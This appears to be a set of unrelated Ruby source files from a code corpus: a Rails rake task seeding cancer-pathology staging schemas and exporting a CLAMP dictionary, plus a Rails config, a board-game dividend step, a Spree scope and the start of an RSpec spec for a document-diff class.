Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN0 (i+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN0i+').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN0i+').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN0 (mol+)', vocabulary_code: 'ypN0 (mol+)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_YpN0 (mol+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN0 (mol+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN0 (mol+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN0mol+').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN0mol+').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN1mi', vocabulary_code: 'ypN1mi').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN1mi').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN1a', vocabulary_code: 'ypN1a').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN1a').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN1b', vocabulary_code: 'ypN1b').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN1b').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN1c', vocabulary_code: 'ypN1c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN1c').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN3c', vocabulary_code: 'ypN3c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN3c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN3c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN3c').first_or_create #end ypn abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #End pN Category #Begin pM Category abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'pathological_metastasis_staging_category', display_name: 'pM Category', abstractor_object_type: list_object_type, preferred_name: 'pM').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'staging').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'stage').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pM0', vocabulary_code: 'pM0').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pM0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'M0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_M0').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pMX', vocabulary_code: 'pMX').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pMX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'MX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_MX').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pM1', vocabulary_code: 'pM1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pM1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'M1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_M1').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #begin ypm abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypM0', vocabulary_code: 'ypM0').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypM0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yM0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yM0').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypMX', vocabulary_code: 'ypMX').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypMX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yMX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yMX').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypM1', vocabulary_code: 'ypM1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypM1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yM1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yM1').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #end ypm #End pN Category abstractor_namespace_outside_surgical_pathology = Abstractor::AbstractorNamespace.where(name: 'Outside Surgical Pathology', subject_type: NoteStableIdentifier.to_s, joins_clause: "JOIN note_stable_identifier_full ON note_stable_identifier.stable_identifier_path = note_stable_identifier_full.stable_identifier_path AND note_stable_identifier.stable_identifier_value = note_stable_identifier_full.stable_identifier_value JOIN note ON note_stable_identifier_full.note_id = note.note_id JOIN fact_relationship ON fact_relationship.domain_concept_id_1 = 5085 AND fact_relationship.fact_id_1 = note.note_id AND fact_relationship.relationship_concept_id = 44818790 JOIN procedure_occurrence ON fact_relationship.domain_concept_id_2 = 10 AND fact_relationship.fact_id_2 = procedure_occurrence.procedure_occurrence_id AND procedure_occurrence.procedure_concept_id = 4244107", where_clause: "note.note_title IN('Final Diagnosis', 'Final Pathologic Diagnosis')").first_or_create abstractor_namespace_outside_surgical_pathology.abstractor_namespace_sections.build(abstractor_section: abstractor_section_specimen) abstractor_namespace_outside_surgical_pathology.abstractor_namespace_sections.build(abstractor_section: abstractor_section_comment) abstractor_namespace_outside_surgical_pathology.save! #Begin primary cancer primary_cancer_group = Abstractor::AbstractorSubjectGroup.where(name: 'Primary Cancer', enable_workflow_status: false).first_or_create abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_histology', display_name: 'Histology', abstractor_object_type: list_object_type, preferred_name: 'cancer histology').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: true).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 1).first_or_create #End primary cancer abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site', display_name: 'Site', abstractor_object_type: list_object_type, preferred_name: 'cancer site').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 2).first_or_create #Begin Laterality abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site_laterality', display_name: 'Laterality', abstractor_object_type: radio_button_list_object_type, preferred_name: 'laterality').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 3).first_or_create #End Laterality #Begin surgery date abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_surgery_date', display_name: 'Surgery Date', abstractor_object_type: date_object_type, preferred_name: 'Surgery Date').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'collected').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'collected on').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create # Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create # Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 4).first_or_create #End surgery date #Begin Pathologic SBR Grade abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_pathologic_sbr_grade', display_name: 'Pathologic Scarff-Bloom-Richardson Grade', abstractor_object_type: radio_button_list_object_type, preferred_name: 'grade').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 4).first_or_create #End Pathologic SBR Grade #Begin recurrent abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_recurrence_status', display_name: 'Recurrent', abstractor_object_type: radio_button_list_object_type, preferred_name: 'recurrent').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false, default_abstractor_object_value_id: abstractor_object_value_initial.id).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 5).first_or_create #End recurrent #End primary cancer #Begin metastatic metastatic_cancer_group = Abstractor::AbstractorSubjectGroup.where(name: 'Metastatic Cancer', enable_workflow_status: false).create abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_metastatic_cancer_histology', display_name: 'Histology', abstractor_object_type: list_object_type, preferred_name: 'cancer histology').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: true).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 1).first_or_create #Begin metastatic cancer site abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site', display_name: 'Site', abstractor_object_type: list_object_type, preferred_name: 'cancer site').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false).create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 2).first_or_create #End metastatic cancer site #Begin metastatic cancer primary site abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_metastatic_cancer_primary_site', display_name: 'Primary Site', abstractor_object_type: list_object_type, preferred_name: 'primary cancer site').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 3).first_or_create #End metastatic cancer primary site #Begin Laterality abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site_laterality', display_name: 'Laterality', abstractor_object_type: radio_button_list_object_type, preferred_name: 'laterality').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false).create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 4).first_or_create #End Laterality #Begin recurrent abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_recurrence_status', display_name: 'Recurrent', abstractor_object_type: radio_button_list_object_type, preferred_name: 'recurrent').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id, anchor: false, default_abstractor_object_value_id: abstractor_object_value_initial.id).create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 5).first_or_create #End recurrent #End metastatic #Begin pT Category abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'pathological_tumor_staging_category', display_name: 'pT Category', abstractor_object_type: list_object_type, preferred_name: 'pT').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #End pT Category #Begin pN Category abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'pathological_nodes_staging_category', display_name: 'pN Category', abstractor_object_type: list_object_type, preferred_name: 'pN').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #End pN Category #Begin pM Category abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'pathological_metastasis_staging_category', display_name: 'pM Category', abstractor_object_type: list_object_type, preferred_name: 'pM').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_outside_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #End pM Category end desc "Clamp Dictionary Biorepository Breast" task(clamp_dictionary_biorepository_breast: :environment) do |t, args| dictionary_items = [] predicates = [] predicates << 'has_cancer_site' predicates << 'has_cancer_histology' predicates << 'has_metastatic_cancer_histology' predicates << 'has_metastatic_cancer_primary_site' predicates << 'has_cancer_site_laterality' predicates << 'has_cancer_recurrence_status' predicates << 'has_cancer_pathologic_sbr_grade' # lists predicates << 'pathological_tumor_staging_category' predicates << 'pathological_nodes_staging_category' predicates << 'pathological_metastasis_staging_category' #numbers predicates << 'has_tumor_size' #dates predicates << 'has_surgery_date' Abstractor::AbstractorAbstractionSchema.where(predicate: predicates).all.each do |abstractor_abstraction_schema| rule_type = abstractor_abstraction_schema.abstractor_subjects.first.abstractor_abstraction_sources.first.abstractor_rule_type.name puts 'hello' puts abstractor_abstraction_schema.predicate puts rule_type case rule_type when Abstractor::Enum::ABSTRACTOR_RULE_TYPE_VALUE dictionary_items.concat(OmopAbstractorClampDictionaryExporter::create_value_dictionary_items(abstractor_abstraction_schema)) when Abstractor::Enum::ABSTRACTOR_RULE_TYPE_NAME_VALUE puts 'this is the one' dictionary_items.concat(OmopAbstractorClampDictionaryExporter::create_name_dictionary_items(abstractor_abstraction_schema)) if !abstractor_abstraction_schema.positive_negative_object_type_list? && !abstractor_abstraction_schema.deleted_non_deleted_object_type_list? dictionary_items.concat(OmopAbstractorClampDictionaryExporter::create_value_dictionary_items(abstractor_abstraction_schema)) end end end puts 'how much?' puts dictionary_items.length File.open 'lib/setup/data_out/abstractor_clamp_biorepository_breast_data_dictionary.txt', 'w' do |f| dictionary_items.each do |di| f.puts di end end end end
99.396226
389
0.844989
7a76d8edd955fe96cf7abe8e8a9a4b0c4e14d8f5
1,165
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module Stuckdo class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de # Do not swallow errors in after_commit/after_rollback callbacks. config.active_record.raise_in_transactional_callbacks = true config.assets.initialize_on_precompile = false end end
41.607143
99
0.736481
acce6064e5548e6d10087264ed7b54e446c1f230
829
# frozen_string_literal: true require_relative '../../../step/dividend' module Engine module Game module G1877StockholmTramways module Step class Dividend < Engine::Step::Dividend def share_price_change(entity, revenue = 0) if revenue.positive? price = entity.share_price.price if revenue < price {} elsif revenue < price * 2 { share_direction: :right, share_times: 1 } elsif revenue < price * 3 { share_direction: :right, share_times: 2 } else { share_direction: :right, share_times: 3 } end else { share_direction: :left, share_times: 1 } end end end end end end end
26.741935
59
0.52111
ac0d89588b1dc6c6b2b80f568b6ba87b77a231ab
267
Spree::OptionValue.class_eval do default_scope { order("#{quoted_table_name}.position") } scope :for_product, lambda { |product| select("DISTINCT #{table_name}.*").where("spree_option_values_variants.variant_id IN (?)", product.variant_ids).joins(:variants) } end
66.75
171
0.7603
33ddade7f3ec62edae5a6f961c7fb95148d7fb2f
3,922
require 'spec_helper' describe MongoPercolator::Addressable::Diff do before :all do ::MP = MongoPercolator unless Object.const_defined? :MP class Queen include MongoMapper::EmbeddedDocument key :weight, String end class Hive include MongoMapper::Document one :queen key :bee_census, Integer end # A class that acts like a document but is not itself a document. class Nest attr_accessor :queen, :species end end before :each do clean_db end context "a mongoable, but non-persisted object" do before :each do @nest = Nest.new @nest.queen = "sue" @nest.species = "termite" end it "knows that when compared against itself it hasn't changed" do diff = MP::Addressable::Diff.new @nest, @nest expect(diff.changed?(%w(queen species))).to be false end it "knows when it has changed" do old = @nest.dup @nest.queen = "bob" diff = MP::Addressable::Diff.new @nest, old expect(diff.changed?('queen')).to be true expect(diff.changed?('species')).to be false end end context "an unpersisted object" do before :each do @hive = Hive.new :bee_census => 1_000_000 @diff = MP::Addressable::Diff.new @hive end it "was able to initialize the diff" do expect(@diff).to be_kind_of(MP::Addressable::Diff) end it "knows the object is not persisted" do expect(@diff.persisted?).to be false end it "knows non-existant addresses of an unpersisted object haven't changed" do expect(@diff.changed?('not_a_real_address')).to be false end it "knows the object as a whole has changed" do expect(@diff.changed?(%w(queen.weight bee_census))).to be true end end context "a 